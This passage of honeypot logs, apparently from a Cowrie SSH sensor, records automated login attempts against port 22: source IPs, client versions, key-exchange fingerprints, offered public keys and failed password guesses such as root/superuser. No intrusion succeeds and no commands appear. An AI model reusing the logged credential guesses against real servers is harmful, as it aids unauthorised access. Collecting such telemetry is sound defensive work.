23:ee:1d:f9:34:74:7d:86:be:a3:69:b6:be:87:05:2a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:16:23.772431Z","src_ip":"128.0.104.39","session":"aa6927461e74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:ee:1d:f9:34:74:7d:86:be:a3:69:b6:be:87:05:2a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDo5XYBqokicS7zP8FSwvsywu9D9KoiojngPZRLau9rWwgBhmFN40bGMXkZrfjRFNcldzY+8XDl3G2FFqtifQf5f96jY2qLp1FbYH1iT6wbnVk2mzwVansSdAfRuPI3EMcprZfW5FBr+hWcsPIhIgBEEnWp7ns+HmoFDCE5KML8oR3mc2vxRbCA+gMkYN3gmtFCKiF17jMkKus91eOzNY0UzeEoGCMoLv8hKBNnsCqLilPvUlk+1jZ/rPHaf2gFvgtLG5u4YP+h2HqAWGbvbkBTBhNJWU6JLsf9Wa9sV/Ovy3UyC0qURzmitseNB006mrUzHvjUqkgF68cv8R2zqQ7ykU+xXiTvFSm1YQ49zjIrnkjq3pkMl2eQlEtkreRJgqaTltVAiy0hiCtC9mr5g1r59xlF0nIT4vRLXxKdqUwNo53+fF0eHmJEQjqee9wX2cNuLT1hUULeKMSHlwkBf+1ArWhaOd7tTqF3/XwNFCMBgAPDKDpqUyVHpU6CB8daY0Oy/av5oKmR70iGAka9GbNPSEtWFaq0CzEEuZvRp5UhdhemwE068xs7fEf6SCWtU1vLcRhs7Lv9IRPu6PwPWGkMc4dLOv1CpWojSKFCBaanBmZsHuGcBDyTDTd3bo9NrMkg5VkxcVunKsg2LefKR5lS/hEvZ4az7mUOj2uRUrLVMQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:16:23.776872Z","src_ip":"128.0.104.39","session":"aa6927461e74","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bf:2e:24:8d:49:46:1a:01:54:d2:d2:d8:c1:19:5e:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXu6etOew3oqRDw0HMOT2obumRRRnZlnwpKk2pXrHj5posTUd3MZRYEDGJfFzBmXuRL0vszF19CIS/pLK1cttvWJu6u84Ov0oGnIzYSI6qEeR2N2Wj+cUNgMqyjkFMLBRFtuPNBMJSYbL+P5xuztA8QpSy70HiOXmOxUwHUjRBQs6PNjMzxLmY095AQEeYV3+ufUpbcObv9PSI+39pFfdgRIjD2E0mz2fKIWEY+PNh1Sl5Edk/qtD1HviCv0gnYUsCzg7LrcFhnGVW+2+mUWt1o6buHTZoX4odrAnR/HwHsuE+S0M7yGdfpDC4GPyZzAJkv3Gxoxru3wk6Lb+6okOkddX+HE/q3+nke8k+poycS0/WjVJ446RBd0tYzWpPH2yIctheAOd7DNrO/YOcsjnCMtS3ZbQ5lAmsAqf95gK+gkOow/pJx/7fPcwxNRizzvjckexcB1UWoEB+43vl/SSPxhDsklAKP+TMWC+wdOmL0uc6/YdYKkWUalUUXMkdmReQJ9WfZBiwogt9wX3gqD3tIvo5U5zqemTSAWxEuxrNFCUn5txhMuI7QfUNZDWwq4udfNn37j2wZrPPfYinuMRc6F3jjgoUM1gEYscFuE7vsO77DCqRh9Zag4eCLuv6HU61UMjqltdKRn2mwg18hripShRnBtGSqC/MTt7vcm1ogw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bf:2e:24:8d:49:46:1a:01:54:d2:d2:d8:c1:19:5e:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:16:23.900074Z","src_ip":"128.0.104.39","session":"aa6927461e74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:2e:24:8d:49:46:1a:01:54:d2:d2:d8:c1:19:5e:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXu6etOew3oqRDw0HMOT2obumRRRnZlnwpKk2pXrHj5posTUd3MZRYEDGJfFzBmXuRL0vszF19CIS/pLK1cttvWJu6u84Ov0oGnIzYSI6qEeR2N2Wj+cUNgMqyjkFMLBRFtuPNBMJSYbL+P5xuztA8QpSy70HiOXmOxUwHUjRBQs6PNjMzxLmY095AQEeYV3+ufUpbcObv9PSI+39pFfdgRIjD2E0mz2fKIWEY+PNh1Sl5Edk/qtD1HviCv0gnYUsCzg7LrcFhnGVW+2+mUWt1o6buHTZoX4odrAnR/HwHsuE+S0M7yGdfpDC4GPyZzAJkv3Gxoxru3wk6Lb+6okOkddX+HE/q3+nke8k+poycS0/WjVJ446RBd0tYzWpPH2yIctheAOd7DNrO/YOcsjnCMtS3ZbQ5lAmsAqf95gK+gkOow/pJx/7fPcwxNRizzvjckexcB1UWoEB+43vl/SSPxhDsklAKP+TMWC+wdOmL0uc6/YdYKkWUalUUXMkdmReQJ9WfZBiwogt9wX3gqD3tIvo5U5zqemTSAWxEuxrNFCUn5txhMuI7QfUNZDWwq4udfNn37j2wZrPPfYinuMRc6F3jjgoUM1gEYscFuE7vsO77DCqRh9Zag4eCLuv6HU61UMjqltdKRn2mwg18hripShRnBtGSqC/MTt7vcm1ogw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:16:23.903732Z","src_ip":"128.0.104.39","session":"aa6927461e74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:16:24.027353Z","src_ip":"128.0.104.39","session":"aa6927461e74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.62.211","src_port":37250,"dst_ip":"159.203.135.109","dst_port":22,"session":"155182e26316","protocol":"ssh","message":"New connection: 198.98.62.211:37250 (159.203.135.109:22) [session: 155182e26316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:17:42.016416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:17:42.021066Z","src_ip":"198.98.62.211","session":"155182e26316","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:17:42.026093Z","src_ip":"198.98.62.211","session":"155182e26316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf!@","message":"login attempt [root/asdf!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:17:42.078054Z","src_ip":"198.98.62.211","session":"155182e26316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:17:43.085299Z","src_ip":"198.98.62.211","session":"155182e26316","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.95.194.51","src_port":38426,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5c858a4a4ec","protocol":"ssh","message":"New connection: 36.95.194.51:38426 (159.203.135.109:22) [session: b5c858a4a4ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:17:53.178454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:17:53.182704Z","src_ip":"36.95.194.51","session":"b5c858a4a4ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:17:53.453077Z","src_ip":"36.95.194.51","session":"b5c858a4a4ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:17:54.568125Z","src_ip":"36.95.194.51","session":"b5c858a4a4ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:17:55.842164Z","src_ip":"36.95.194.51","session":"b5c858a4a4ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":27692,"dst_ip":"159.203.135.109","dst_port":22,"session":"64d5b70b3461","protocol":"ssh","message":"New connection: 45.123.110.70:27692 (159.203.135.109:22) [session: 64d5b70b3461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:17:56.117981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:17:56.122771Z","src_ip":"45.123.110.70","session":"64d5b70b3461","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.108.174.4","src_port":53718,"dst_ip":"159.203.135.109","dst_port":22,"session":"57d0571967fb","protocol":"ssh","message":"New connection: 200.108.174.4:53718 (159.203.135.109:22) [session: 57d0571967fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:17:56.280423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:17:56.288377Z","src_ip":"200.108.174.4","session":"57d0571967fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:17:56.359450Z","src_ip":"45.123.110.70","session":"64d5b70b3461","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:17:56.447234Z","src_ip":"200.108.174.4","session":"57d0571967fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"superuser","message":"login attempt [root/superuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:17:57.113955Z","src_ip":"200.108.174.4","session":"57d0571967fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:17:57.331445Z","src_ip":"45.123.110.70","session":"64d5b70b3461","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:17:58.275882Z","src_ip":"200.108.174.4","session":"57d0571967fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:17:58.567923Z","src_ip":"45.123.110.70","session":"64d5b70b3461","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.45.189.11","src_port":48202,"dst_ip":"10.17.0.5","dst_port":22,"session":"afcaf4ad4768","protocol":"ssh","message":"New connection: 5.45.189.11:48202 (10.17.0.5:22) [session: afcaf4ad4768]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:30.231761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:30.235832Z","src_ip":"5.45.189.11","session":"afcaf4ad4768","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:30.384477Z","src_ip":"5.45.189.11","session":"afcaf4ad4768","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:28:3c:5b:fb:b3:78:4a:e2:24:41:c5:0c:ef:f2:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxX9D0QM+RfJc/19fvswKKCDO/m2NshJp+4eiOm4OPsDYigq/ZeBJ3ElMIEVaDO8HkgIHZB4zBsngIDT8uIsdGIRqr34/zvVbYlg76RgcdI51w5V36DNhGt5UeYq4TpLORngHhTufP+KLyjVMLM7Fkoz5i9r6xprJitXg4kCSHUcuq5gxTCh9K0CFik2I0PPVqQTb0mwSY4sHXkPn6H2hyFBvfOxgQVqScnieFQ/qDZhT/V1t8nA2CdkF2VxSrBPnorDf93xH5p2adaFBplXVIfySlziYGbrdB47l7Wqt7mcGG5deyclYeZhgPhQJZJ4gn7beHRQHQpj4fCPKNemjF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 11:28:3c:5b:fb:b3:78:4a:e2:24:41:c5:0c:ef:f2:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:31.104272Z","src_ip":"5.45.189.11","session":"afcaf4ad4768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:28:3c:5b:fb:b3:78:4a:e2:24:41:c5:0c:ef:f2:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDxX9D0QM+RfJc/19fvswKKCDO/m2NshJp+4eiOm4OPsDYigq/ZeBJ3ElMIEVaDO8HkgIHZB4zBsngIDT8uIsdGIRqr34/zvVbYlg76RgcdI51w5V36DNhGt5UeYq4TpLORngHhTufP+KLyjVMLM7Fkoz5i9r6xprJitXg4kCSHUcuq5gxTCh9K0CFik2I0PPVqQTb0mwSY4sHXkPn6H2hyFBvfOxgQVqScnieFQ/qDZhT/V1t8nA2CdkF2VxSrBPnorDf93xH5p2adaFBplXVIfySlziYGbrdB47l7Wqt7mcGG5deyclYeZhgPhQJZJ4gn7beHRQHQpj4fCPKNemjF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:31.108021Z","src_ip":"5.45.189.11","session":"afcaf4ad4768","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:14:5d:f1:45:d1:56:09:68:8d:09:a5:7d:a2:6c:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDLFhbOwiE+e8/RMcLY9Y9JM8Pr9ozZYnztLhWwafHNTdzT5Q7BWufh+qjvY2EoNELw2H4AxTqWryW38AcJbLY6DNXv+iWXI0kHyaVhF8iZWE/1kH++ZUGDeUtVlgTltd6dq4cfuXK+nyDfraAIPGy4ER6LG4PfgMC+0jwxtyU5eYNCEKxQ2tePQokXOV5QqR1gSSouWYamjt+IYjvdJn09I2EufUf2LJHHp1r8hf9SBvPWTQVd4W3IGpGTlwJFx1CbXxs3jFHYH2F0r/cbl/Kq3VKvlx1L5uQ/m1f8jjwsQTdtlVL8aeKZLXEWYfFQDi41A9STv4CcrDVyV3VcKwtl1rcxIdSTKZp4OgMlM0RwVJ9QRLDybR2xXa7GPLoLjbXK/NcP0LcxirMQIpBtjb3xQ7Q4mbJJf6DSFA7MKqIXUWFEVAhci3+/NjRaHzNzuHsHrEewICOrjmpCpdMnzn/pw15FkkeKx24vg/R3Lmyv4ilFlAXtFZDhWjpMDBVflZOxSiGb95rE3k0MVLbJp3W9VvlIOTi1TsX1B4HgLYE8l2IFB9/t4ELDtu7yvxJraY+O3/2mxDXmFrPsLI2SEyoiyX69aixf13RIocmqhs7Uwm9msnNC4K/7N7hD7yKMf5ukzCtJNPOHcFZXfkdUFZPvVM2/bzY2LXK5Lwx2VHGbYw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:14:5d:f1:45:d1:56:09:68:8d:09:a5:7d:a2:6c:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:31.256081Z","src_ip":"5.45.189.11","session":"afcaf4ad4768","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:14:5d:f1:45:d1:56:09:68:8d:09:a5:7d:a2:6c:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDLFhbOwiE+e8/RMcLY9Y9JM8Pr9ozZYnztLhWwafHNTdzT5Q7BWufh+qjvY2EoNELw2H4AxTqWryW38AcJbLY6DNXv+iWXI0kHyaVhF8iZWE/1kH++ZUGDeUtVlgTltd6dq4cfuXK+nyDfraAIPGy4ER6LG4PfgMC+0jwxtyU5eYNCEKxQ2tePQokXOV5QqR1gSSouWYamjt+IYjvdJn09I2EufUf2LJHHp1r8hf9SBvPWTQVd4W3IGpGTlwJFx1CbXxs3jFHYH2F0r/cbl/Kq3VKvlx1L5uQ/m1f8jjwsQTdtlVL8aeKZLXEWYfFQDi41A9STv4CcrDVyV3VcKwtl1rcxIdSTKZp4OgMlM0RwVJ9QRLDybR2xXa7GPLoLjbXK/NcP0LcxirMQIpBtjb3xQ7Q4mbJJf6DSFA7MKqIXUWFEVAhci3+/NjRaHzNzuHsHrEewICOrjmpCpdMnzn/pw15FkkeKx24vg/R3Lmyv4ilFlAXtFZDhWjpMDBVflZOxSiGb95rE3k0MVLbJp3W9VvlIOTi1TsX1B4HgLYE8l2IFB9/t4ELDtu7yvxJraY+O3/2mxDXmFrPsLI2SEyoiyX69aixf13RIocmqhs7Uwm9msnNC4K/7N7hD7yKMf5ukzCtJNPOHcFZXfkdUFZPvVM2/bzY2LXK5Lwx2VHGbYw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T03:18:31.260303Z","src_ip":"5.45.189.11","session":"afcaf4ad4768","protocol":"ssh"}
